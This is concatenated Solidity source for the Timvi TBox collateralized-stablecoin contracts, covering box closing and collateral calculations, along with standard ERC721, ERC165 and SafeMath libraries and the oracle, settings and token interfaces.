/// @param _id A Box ID.
function closeDust(uint256 _id) external onlyExists(_id) validTx {
// Check collateral percent of the Box
require(collateralPercent(_id) >= settings.minStability(), "This Box isn't collapsable");
// Check collateral amount of the Box
require(boxes[_id].collateral.mul(rate()) < precision.mul(3).mul(10 ** 18), "It's only possible to collapse dust");
// Burn needed TMV amount to close
uint256 _tmvReleased = boxes[_id].tmvReleased;
_burnTMV(msg.sender, _tmvReleased);
uint256 _collateral = boxes[_id].collateral;
// Calculate the Ether equivalent of tokens according to the logic
// where 1 TMV is equal to 1 USD
uint256 _eth = _tmvReleased.mul(precision).div(rate());
// Calculate user bonus
uint256 _userReward = _tmvReleased.mul(settings.userFee()).div(rate());
// The owner of the Box
address _owner = ownerOf(_id);
// Remove a Box
delete boxes[_id];
// Burn Box token
_burn(_owner, _id);
// Send the Ether equivalent & user benefit to the person who made closing happen
msg.sender.transfer(_eth.add(_userReward));
// Decrease global Ether counter
globalETH = globalETH.sub(_collateral);
// Fire the event
emit Closed(_id, _owner, msg.sender);
}
/// @dev Burns specified number of TMV tokens.
function _burnTMV(address _from, uint256 _amount) internal {
if (_amount > 0) {
require(IToken(settings.tmvAddress()).balanceOf(_from) >= _amount, "You don't have enough tokens");
IToken(settings.tmvAddress()).burnLogic(_from, _amount);
}
}
/// @dev Returns current oracle ETH/USD price with precision.
function rate() public view returns(uint256) {
return IOracle(settings.oracleAddress()).ethUsdPrice();
}
/// @dev Given a Box ID, returns a number of tokens that can be withdrawn.
function boxWithdrawableTmv(uint256 _id) public view onlyExists(_id) returns(uint256) {
Box memory box = boxes[_id];
// Number of tokens that can be withdrawn for Box's collateral
uint256 _amount = withdrawableTmv(box.collateral);
if (box.tmvReleased >= _amount) {
return 0;
}
// Return withdrawable rest
return _amount.sub(box.tmvReleased);
}
/// @dev Given a Box ID, returns an amount of Ether that can be withdrawn.
function withdrawableEth(uint256 _id) public view onlyExists(_id) returns(uint256) {
// Amount of Ether that is not used in collateralization
uint256 _avlbl = _freeEth(_id);
// Return available Ether to withdraw
if (_avlbl == 0) {
return 0;
}
uint256 _rest = boxes[_id].collateral.sub(_avlbl);
if (_rest < settings.minDeposit()) {
return boxes[_id].collateral.sub(settings.minDeposit());
}
else return _avlbl;
}
/// @dev Given a Box ID, returns amount of ETH that is not used in collateralization.
function _freeEth(uint256 _id) internal view returns(uint256) {
// Grab a reference to the Box
Box memory box = boxes[_id];
// When there are no tokens withdrawn
if (box.tmvReleased == 0) {
return box.collateral;
}
// The amount of Ether that can be safely withdrawn from the system
uint256 _maxGlobal = globalWithdrawableEth();
uint256 _globalAvailable;
if (_maxGlobal > 0) {
// The amount of Ether backing the tokens when the system is overcapitalized
uint256 _need = overCapFrozenEth(box.tmvReleased);
if (box.collateral > _need) {
// Free Ether amount when the system is overcapitalized
uint256 _free = box.collateral.sub(_need);
if (_free > _maxGlobal) {
// Store available amount when Box available Ether amount
// is more than global available
_globalAvailable = _maxGlobal;
}
// Return available amount of Ether to withdraw when the Box withdrawable
// amount of Ether is smaller than global withdrawable amount of Ether
else return _free;
}
}
// The amount of Ether backing the tokens by default
uint256 _frozen = defaultFrozenEth(box.tmvReleased);
if (box.collateral > _frozen) {
// Define the biggest number and return available Ether amount
uint256 _localAvailable = box.collateral.sub(_frozen);
return (_localAvailable > _globalAvailable) ? _localAvailable : _globalAvailable;
} else {
// Return available Ether amount
return _globalAvailable;
}
}
/// @dev Given a Box ID, returns collateral percent.
function collateralPercent(uint256 _id) public view onlyExists(_id) returns(uint256) {
Box memory box = boxes[_id];
if (box.tmvReleased == 0) {
return 10**27; //some unreachable number
}
uint256 _ethCollateral = box.collateral;
// division by 100 is not necessary because to get the percent you need to multiply by 100
return _ethCollateral.mul(rate()).div(box.tmvReleased);
}
/// @dev Checks if a given address currently has approval for a particular Box.
/// @param _spender the address we are confirming Box is approved for.
/// @param _tokenId Box ID.
function isApprovedOrOwner(address _spender, uint256 _tokenId) external view returns (bool) {
return _isApprovedOrOwner(_spender, _tokenId);
}
/// @dev Returns the global collateralization percent.
function globalCollateralization() public view returns (uint256) {
uint256 _supply = IToken(settings.tmvAddress()).totalSupply();
if (_supply == 0) {
return settings.globalTargetCollateralization();
}
return globalETH.mul(rate()).div(_supply);
}
/// @dev Returns the number of tokens that can be safely withdrawn from the system.
function globalWithdrawableTmv(uint256 _value) public view returns (uint256) {
uint256 _supply = IToken(settings.tmvAddress()).totalSupply();
if (globalCollateralization() <= settings.globalTargetCollateralization()) {
return 0;
}
uint256 _totalBackedTmv = defaultWithdrawableTmv(globalETH.add(_value));
return _totalBackedTmv.sub(_supply);
}
/// @dev Returns Ether amount that can be safely withdrawn from the system.
function globalWithdrawableEth() public view returns (uint256) {
uint256 _supply = IToken(settings.tmvAddress()).totalSupply();
if (globalCollateralization() <= settings.globalTargetCollateralization()) {
return 0;
}
uint256 _need = defaultFrozenEth(_supply);
return globalETH.sub(_need);
}
/// @dev Returns the number of tokens that can be withdrawn
/// for the specified collateral amount by default.
function defaultWithdrawableTmv(uint256 _collateral) public view returns (uint256) {
uint256 _num = _collateral.mul(rate());
uint256 _div = settings.globalTargetCollateralization();
return _num.div(_div);
}
/// @dev Returns the number of tokens that can be withdrawn
/// for the specified collateral amount when the system is overcapitalized.
function overCapWithdrawableTmv(uint256 _collateral) public view returns (uint256) {
uint256 _num = _collateral.mul(rate());
uint256 _div = settings.ratio();
return _num.div(_div);
}
/// @dev Returns Ether amount backing the specified number of tokens by default.
function defaultFrozenEth(uint256 _supply) public view returns (uint256) {
return _supply.mul(settings.globalTargetCollateralization()).div(rate());
}
/// @dev Returns Ether amount backing the specified number of tokens
/// when the system is overcapitalized.
function overCapFrozenEth(uint256 _supply) public view returns (uint256) {
return _supply.mul(settings.ratio()).div(rate());
}
/// @dev Returns the number of TMV that can capitalize the specified Box.
function maxCapAmount(uint256 _id) public view onlyExists(_id) returns (uint256) {
uint256 _colP = collateralPercent(_id);
require(_colP >= settings.minStability() && _colP < settings.maxStability(), "It's only possible to capitalize toxic Boxes");
Box memory box = boxes[_id];
uint256 _num = box.tmvReleased.mul(settings.ratio()).sub(box.collateral.mul(rate()));
uint256 _div = settings.ratio().sub(settings.minStability());
return _num.div(_div);
}
/// @dev Returns the number of tokens that can be actually withdrawn
/// for the specified collateral.
function withdrawableTmv(uint256 _collateral) public view returns(uint256) {
uint256 _amount = overCapWithdrawableTmv(_collateral);
uint256 _maxGlobal = globalWithdrawableTmv(0);
if (_amount > _maxGlobal) {
_amount = _maxGlobal;
}
uint256 _local = defaultWithdrawableTmv(_collateral);
if (_amount < _local) {
_amount = _local;
}
return _amount;
}
/// @dev Returns the collateral percentage for which tokens can be withdrawn
/// for the specified collateral.
function withdrawPercent(uint256 _collateral) external view returns(uint256) {
uint256 _amount = overCapWithdrawableTmv(_collateral);
uint256 _maxGlobal = globalWithdrawableTmv(_collateral);
if (_amount > _maxGlobal) {
_amount = _maxGlobal;
}
uint256 _local = defaultWithdrawableTmv(_collateral);
if (_amount < _local) {
_amount = _local;
}
return _collateral.mul(rate()).div(_amount);
}
}
pragma solidity 0.4.25;
import "./ERC721.sol";
import "./ERC721Enumerable.sol";
import "./ERC721Metadata.sol";
/**
* @title TBoxClassic Token
* This implementation includes all the required and some optional functionality of the ERC721 standard
* Moreover, it includes approve all functionality using operator terminology
* @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract TBoxToken is ERC721, ERC721Enumerable, ERC721Metadata {
constructor (string memory name, string memory symbol) ERC721Metadata(name, symbol) public {}
}
pragma solidity 0.4.25;
/**
* Utility library of inline functions on addresses
*/
library Address {
/**
* Returns whether the target address is a contract
* @dev This function will return false if invoked during the constructor of a contract,
* as the code is not actually created until after the constructor finishes.
* @param account address of the account to check
* @return whether the target address is a contract
*/
function isContract(address account) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solium-disable-next-line security/no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
pragma solidity 0.4.25;
import "./IERC165.sol";
/**
* @title ERC165
* @author Matt Condon (@shrugs)
* @dev Implements ERC165 using a lookup table.
*/
contract ERC165 is IERC165 {
bytes4 private constant _InterfaceId_ERC165 = 0x01ffc9a7;
/**
* 0x01ffc9a7 ===
* bytes4(keccak256('supportsInterface(bytes4)'))
*/
/**
* @dev a mapping of interface id to whether or not it's supported
*/
mapping(bytes4 => bool) private _supportedInterfaces;
/**
* @dev A contract implementing SupportsInterfaceWithLookup
* implement ERC165 itself
*/
constructor () internal {
_registerInterface(_InterfaceId_ERC165);
}
/**
* @dev implement supportsInterface(bytes4) using a lookup table
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool) {
return _supportedInterfaces[interfaceId];
}
/**
* @dev internal method for registering an interface
*/
function _registerInterface(bytes4 interfaceId) internal {
require(interfaceId != 0xffffffff);
_supportedInterfaces[interfaceId] = true;
}
}
pragma solidity 0.4.25;
import "./IERC721.sol";
import "./IERC721Receiver.sol";
import "./SafeMath.sol";
import "./Address.sol";
import "./ERC165.sol";
/**
* @title ERC721 Non-Fungible Token Standard basic implementation
* @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract ERC721 is ERC165, IERC721 {
using SafeMath for uint256;
using Address for address;
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `IERC721Receiver(0).onERC721Received.selector`
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
// Mapping from token ID to owner
mapping (uint256 => address) internal _tokenOwner;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to number of owned token
mapping (address => uint256) private _ownedTokensCount;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
bytes4 private constant _InterfaceId_ERC721 = 0x80ac58cd;
/*
* 0x80ac58cd ===
* bytes4(keccak256('balanceOf(address)')) ^
* bytes4(keccak256('ownerOf(uint256)')) ^
* bytes4(keccak256('approve(address,uint256)')) ^
* bytes4(keccak256('getApproved(uint256)')) ^
* bytes4(keccak256('setApprovalForAll(address,bool)')) ^
* bytes4(keccak256('isApprovedForAll(address,address)')) ^
* bytes4(keccak256('transferFrom(address,address,uint256)')) ^
* bytes4(keccak256('safeTransferFrom(address,address,uint256)')) ^
* bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)'))
*/
constructor () public {
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_InterfaceId_ERC721);
}
/**
* @dev Gets the balance of the specified address
* @param owner address to query the balance of
* @return uint256 representing the amount owned by the passed address
*/
function balanceOf(address owner) public view returns (uint256) {
require(owner != address(0));
return _ownedTokensCount[owner];
}
/**
* @dev Gets the owner of the specified token ID
* @param tokenId uint256 ID of the token to query the owner of
* @return owner address currently marked as the owner of the given token ID
*/
function ownerOf(uint256 tokenId) public view returns (address) {
address owner = _tokenOwner[tokenId];
require(owner != address(0));
return owner;
}
/**
* @dev Approves another address to transfer the given token ID
* The zero address indicates there is no approved address.
* There can only be one approved address per token at a given time.
* Can only be called by the token owner or an approved operator.
* @param to address to be approved for the given token ID
* @param tokenId uint256 ID of the token to be approved
*/
function approve(address to, uint256 tokenId) public {
address owner = ownerOf(tokenId);
require(to != owner);
require(msg.sender == owner || isApprovedForAll(owner, msg.sender));
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
/**
* @dev Gets the approved address for a token ID, or zero if no address set
* Reverts if the token ID does not exist.
* @param tokenId uint256 ID of the token to query the approval of
* @return address currently approved for the given token ID
*/
function getApproved(uint256 tokenId) public view returns (address) {
require(_exists(tokenId));
return _tokenApprovals[tokenId];
}
/**
* @dev Sets or unsets the approval of a given operator
* An operator is allowed to transfer all tokens of the sender on their behalf
* @param to operator address to set the approval
* @param approved representing the status of the approval to be set
*/
function setApprovalForAll(address to, bool approved) public {
require(to != msg.sender);
_operatorApprovals[msg.sender][to] = approved;
emit ApprovalForAll(msg.sender, to, approved);
}
/**
* @dev Tells whether an operator is approved by a given owner
* @param owner owner address which you want to query the approval of
* @param operator operator address which you want to query the approval of
* @return bool whether the given operator is approved by the given owner
*/
function isApprovedForAll(address owner, address operator) public view returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev Transfers the ownership of a given token ID to another address
* Usage of this method is discouraged, use `safeTransferFrom` whenever possible
* Requires the msg sender to be the owner, approved, or operator
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
*/
function transferFrom(address from, address to, uint256 tokenId) public {
require(_isApprovedOrOwner(msg.sender, tokenId));
require(to != address(0));
_clearApproval(from, tokenId);
_removeTokenFrom(from, tokenId);
_addTokenTo(to, tokenId);
emit Transfer(from, to, tokenId);
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
*
* Requires the msg sender to be the owner, approved, or operator
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public {
// solium-disable-next-line arg-overflow
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* Requires the msg sender to be the owner, approved, or operator
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes data to send along with a safe transfer check
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public {
transferFrom(from, to, tokenId);
// solium-disable-next-line arg-overflow
require(_checkOnERC721Received(from, to, tokenId, _data));
}
/**
* @dev Returns whether the specified token exists
* @param tokenId uint256 ID of the token to query the existence of
* @return whether the token exists
*/
function _exists(uint256 tokenId) internal view returns (bool) {
address owner = _tokenOwner[tokenId];
return owner != address(0);
}
/**
* @dev Returns whether the given spender can transfer a given token ID
* @param spender address of the spender to query
* @param tokenId uint256 ID of the token to be transferred
* @return bool whether the msg.sender is approved for the given token ID,
* is an operator of the owner, or is the owner of the token
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) {
address owner = ownerOf(tokenId);
// Disable solium check because of
// https://github.com/duaraghav8/Solium/issues/175
// solium-disable-next-line operator-whitespace
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Internal function to mint a new token
* Reverts if the given token ID already exists
* @param to The address that will own the minted token
* @param tokenId uint256 ID of the token to be minted by the msg.sender
*/
function _mint(address to, uint256 tokenId) internal {
require(to != address(0));
_addTokenTo(to, tokenId);
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Internal function to burn a specific token
* Reverts if the token does not exist
* @param tokenId uint256 ID of the token being burned by the msg.sender
*/
function _burn(address owner, uint256 tokenId) internal {
_clearApproval(owner, tokenId);
_removeTokenFrom(owner, tokenId);
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Internal function to add a token ID to the list of a given address
* Note that this function is left internal to make ERC721Enumerable possible, but is not
* intended to be called by custom derived contracts: in particular, it emits no Transfer event.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenTo(address to, uint256 tokenId) internal {
require(_tokenOwner[tokenId] == address(0));
_tokenOwner[tokenId] = to;
_ownedTokensCount[to] = _ownedTokensCount[to].add(1);
}
/**
* @dev Internal function to remove a token ID from the list of a given address
* Note that this function is left internal to make ERC721Enumerable possible, but is not
* intended to be called by custom derived contracts: in particular, it emits no Transfer event,
* and doesn't clear approvals.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFrom(address from, uint256 tokenId) internal {
require(ownerOf(tokenId) == from);
_ownedTokensCount[from] = _ownedTokensCount[from].sub(1);
_tokenOwner[tokenId] = address(0);
}
/**
* @dev Internal function to invoke `onERC721Received` on a target address
* The call is not executed if the target address is not a contract
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) internal returns (bool) {
if (!to.isContract()) {
return true;
}
bytes4 retval = IERC721Receiver(to).onERC721Received(msg.sender, from, tokenId, _data);
return (retval == _ERC721_RECEIVED);
}
/**
* @dev Private function to clear current approval of a given token ID
* Reverts if the given address is not indeed the owner of the token
* @param owner owner of the token
* @param tokenId uint256 ID of the token to be transferred
*/
function _clearApproval(address owner, uint256 tokenId) private {
require(ownerOf(tokenId) == owner);
if (_tokenApprovals[tokenId] != address(0)) {
_tokenApprovals[tokenId] = address(0);
}
}
}
pragma solidity 0.4.25;
import "./IERC721Enumerable.sol";
import "./ERC721.sol";
import "./ERC165.sol";
/**
* @title ERC-721 Non-Fungible Token with optional enumeration extension logic
* @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract ERC721Enumerable is ERC165, ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => uint256[]) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
bytes4 private constant _InterfaceId_ERC721Enumerable = 0x780e9d63;
/**
* 0x780e9d63 ===
* bytes4(keccak256('totalSupply()')) ^
* bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) ^
* bytes4(keccak256('tokenByIndex(uint256)'))
*/
/**
* @dev Constructor function
*/
constructor () public {
// register the supported interface to conform to ERC721 via ERC165
_registerInterface(_InterfaceId_ERC721Enumerable);
}
/**
* @dev Gets the token ID at a given index of the tokens list of the requested owner
* @param owner address owning the tokens list to be accessed
* @param index uint256 representing the index to be accessed of the requested tokens list
* @return uint256 token ID at the given index of the tokens list owned by the requested address
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view returns (uint256) {
require(index < balanceOf(owner));
return _ownedTokens[owner][index];
}
/**
* @dev Gets the total amount of tokens stored by the contract
* @return uint256 representing the total amount of tokens
*/
function totalSupply() public view returns (uint256) {
return _allTokens.length;
}
/**
* @dev Gets the token ID at a given index of all the tokens in this contract
* Reverts if the index is greater or equal to the total number of tokens
* @param index uint256 representing the index to be accessed of the tokens list
* @return uint256 token ID at the given index of the tokens list
*/
function tokenByIndex(uint256 index) public view returns (uint256) {
require(index < totalSupply());
return _allTokens[index];
}
/**
* @dev Internal function to add a token ID to the list of a given address
* This function is internal due to language limitations, see the note in ERC721.sol.
* It is not intended to be called by custom derived contracts: in particular, it emits no Transfer event.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenTo(address to, uint256 tokenId) internal {
super._addTokenTo(to, tokenId);
uint256 length = _ownedTokens[to].length;
_ownedTokens[to].push(tokenId);
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Internal function to remove a token ID from the list of a given address
* This function is internal due to language limitations, see the note in ERC721.sol.
* It is not intended to be called by custom derived contracts: in particular, it emits no Transfer event,
* and doesn't clear approvals.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFrom(address from, uint256 tokenId) internal {
super._removeTokenFrom(from, tokenId);
// To prevent a gap in the array, we store the last token in the index of the token to delete, and
// then delete the last slot.
uint256 tokenIndex = _ownedTokensIndex[tokenId];
uint256 lastTokenIndex = _ownedTokens[from].length.sub(1);
uint256 lastToken = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastToken;
// This also deletes the contents at the last position of the array
_ownedTokens[from].length--;
// Note that this will handle single-element arrays. In that case, both tokenIndex and lastTokenIndex are going to
// be zero. Then we can make sure that we will remove tokenId from the ownedTokens list since we are first swapping
// the lastToken to the first position, and then dropping the element placed in the last position of the list
_ownedTokensIndex[tokenId] = 0;
_ownedTokensIndex[lastToken] = tokenIndex;
}
/**
* @dev Internal function to mint a new token
* Reverts if the given token ID already exists
* @param to address the beneficiary that will own the minted token
* @param tokenId uint256 ID of the token to be minted by the msg.sender
*/
function _mint(address to, uint256 tokenId) internal {
super._mint(to, tokenId);
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Internal function to burn a specific token
* Reverts if the token does not exist
* @param owner owner of the token to burn
* @param tokenId uint256 ID of the token being burned by the msg.sender
*/
function _burn(address owner, uint256 tokenId) internal {
super._burn(owner, tokenId);
// Reorg all tokens array
uint256 tokenIndex = _allTokensIndex[tokenId];
uint256 lastTokenIndex = _allTokens.length.sub(1);
uint256 lastToken = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastToken;
_allTokens[lastTokenIndex] = 0;
_allTokens.length--;
_allTokensIndex[tokenId] = 0;
_allTokensIndex[lastToken] = tokenIndex;
}
}
pragma solidity 0.4.25;
import "./ERC721.sol";
import "./IERC721Metadata.sol";
import "./ERC165.sol";
contract ERC721Metadata is ERC165, ERC721, IERC721Metadata {
// Token name
string private _name;
// Token symbol
string private _symbol;
// Optional mapping for token URIs
mapping(uint256 => string) private _tokenURIs;
bytes4 private constant InterfaceId_ERC721Metadata = 0x5b5e139f;
/**
* 0x5b5e139f ===
* bytes4(keccak256('name()')) ^
* bytes4(keccak256('symbol()')) ^
* bytes4(keccak256('tokenURI(uint256)'))
*/
/**
* @dev Constructor function
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(InterfaceId_ERC721Metadata);
}
/**
* @dev Gets the token name
* @return string representing the token name
*/
function name() external view returns (string memory) {
return _name;
}
/**
* @dev Gets the token symbol
* @return string representing the token symbol
*/
function symbol() external view returns (string memory) {
return _symbol;
}
/**
* @dev Returns an URI for a given token ID
* Throws if the token ID does not exist. May return an empty string.
* @param tokenId uint256 ID of the token to query
*/
function tokenURI(uint256 tokenId) external view returns (string memory) {
require(_exists(tokenId));
return _tokenURIs[tokenId];
}
/**
* @dev Internal function to set the token URI for a given token
* Reverts if the token ID does not exist
* @param tokenId uint256 ID of the token to set its URI
* @param uri string URI to assign
*/
function _setTokenURI(uint256 tokenId, string memory uri) internal {
require(_exists(tokenId));
_tokenURIs[tokenId] = uri;
}
/**
* @dev Internal function to burn a specific token
* Reverts if the token does not exist
* @param owner owner of the token to burn
* @param tokenId uint256 ID of the token being burned by the msg.sender
*/
function _burn(address owner, uint256 tokenId) internal {
super._burn(owner, tokenId);
// Clear metadata (if any)
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
}
}
pragma solidity 0.4.25;
/**
* @title IERC165
* @dev https://github.com/ethereum/EIPs/blob/master/EIPS/eip-165.md
*/
interface IERC165 {
/**
* @notice Query if a contract implements an interface
* @param interfaceId The interface identifier, as specified in ERC-165
* @dev Interface identification is specified in ERC-165. This function
* uses less than 30,000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
pragma solidity 0.4.25;
import "./IERC165.sol";
/**
* @title ERC721 Non-Fungible Token Standard basic interface
* @dev see https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) public view returns (uint256 balance);
function ownerOf(uint256 tokenId) public view returns (address owner);
function approve(address to, uint256 tokenId) public;
function getApproved(uint256 tokenId) public view returns (address operator);
function setApprovalForAll(address operator, bool _approved) public;
function isApprovedForAll(address owner, address operator) public view returns (bool);
function transferFrom(address from, address to, uint256 tokenId) public;
function safeTransferFrom(address from, address to, uint256 tokenId) public;
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public;
}
pragma solidity 0.4.25;
import "./IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract IERC721Enumerable is IERC721 {
function totalSupply() public view returns (uint256);
function tokenOfOwnerByIndex(address owner, uint256 index) public view returns (uint256 tokenId);
function tokenByIndex(uint256 index) public view returns (uint256);
}
pragma solidity 0.4.25;
import "./IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
pragma solidity 0.4.25;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
contract IERC721Receiver {
/**
* @notice Handle the receipt of an NFT
* @dev The ERC721 smart contract calls this function on the recipient
* after a `safeTransfer`. This function MUST return the function selector,
* otherwise the caller will revert the transaction. The selector to be
* returned can be obtained as `this.onERC721Received.selector`. This
* function MAY throw to revert and reject the transfer.
* Note: the ERC721 contract address is always the message sender.
* @param operator The address which called `safeTransferFrom` function
* @param from The address which previously owned the token
* @param tokenId The NFT identifier which is being transferred
* @param data Additional data with no specified format
* @return `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes memory data) public returns (bytes4);
}
pragma solidity 0.4.25;
/// @title IOracle
/// @dev Interface for getting the data from the oracle contract.
interface IOracle {
function ethUsdPrice() external view returns(uint256);
}
pragma solidity 0.4.25;
/// @title ISettings
/// @dev Interface for getting the data from settings contract.
interface ISettings {
function oracleAddress() external view returns(address);
function minDeposit() external view returns(uint256);
function sysFee() external view returns(uint256);
function userFee() external view returns(uint256);
function ratio() external view returns(uint256);
function globalTargetCollateralization() external view returns(uint256);
function tmvAddress() external view returns(uint256);
function maxStability() external view returns(uint256);
function minStability() external view returns(uint256);
function gasPriceLimit() external view returns(uint256);
function isFeeManager(address account) external view returns (bool);
function tBoxManager() external view returns(address);
}
pragma solidity 0.4.25;
/// @title IToken
/// @dev Interface for interaction with the TMV token contract.
interface IToken {
function burnLogic(address from, uint256 value) external;
function approve(address spender, uint256 value) external;
function balanceOf(address who) external view returns (uint256);
function mint(address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 tokenId) external;
}
pragma solidity 0.4.25;
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, 'mul');
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, 'div');
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, 'sub');
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, 'add');
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
pragma solidity 0.4.25;
import "./TBoxToken.sol";
import "./ISettings.sol";
import "./IToken.sol";
import "./IOracle.sol";
/// @title TBoxManager
contract TBoxManager is TBoxToken {
// Total packed Ether
uint256 public globalETH;
// Precision using for USD and commission
uint256 public precision = 100000;
// The address of the system settings contract
ISettings public settings;
/// @dev An array containing the Boxes struct for all Boxes in existence. The ID
/// of each Box is actually an index into this array.
Box[] public boxes;
/// @dev The main Box struct. Every Box in TimviSystem is represented by a copy
/// of this structure.
struct Box {
// The collateral Ether amount in wei
uint256 collateral;
// The number of TMV withdrawn
uint256 tmvReleased;
}
/// @dev The Created event is fired whenever a new Box comes into existence. This includes
/// any time a Box is created through the create method.
event Created(uint256 indexed id, address owner, uint256 collateral, uint256 tmvReleased);
/// @dev The Closed event is fired whenever a Box is closed. Obviously, this includes
/// any time a Box is closed through the close method, but it is also called when
// a Box is closed through the closeDust method.
event Closed(uint256 indexed id, address indexed owner, address indexed closer);
/// @dev The Capitalized event is fired whenever a Box is capitalized.
event Capitalized(uint256 indexed id, address indexed owner, address indexed who, uint256 tmvAmount, uint256 totalEth, uint256 userEth);
/// @dev The EthWithdrawn event is fired whenever Ether is withdrawn from a Box
/// using withdrawEth method.
event EthWithdrawn(uint256 indexed id, uint256 value, address who);
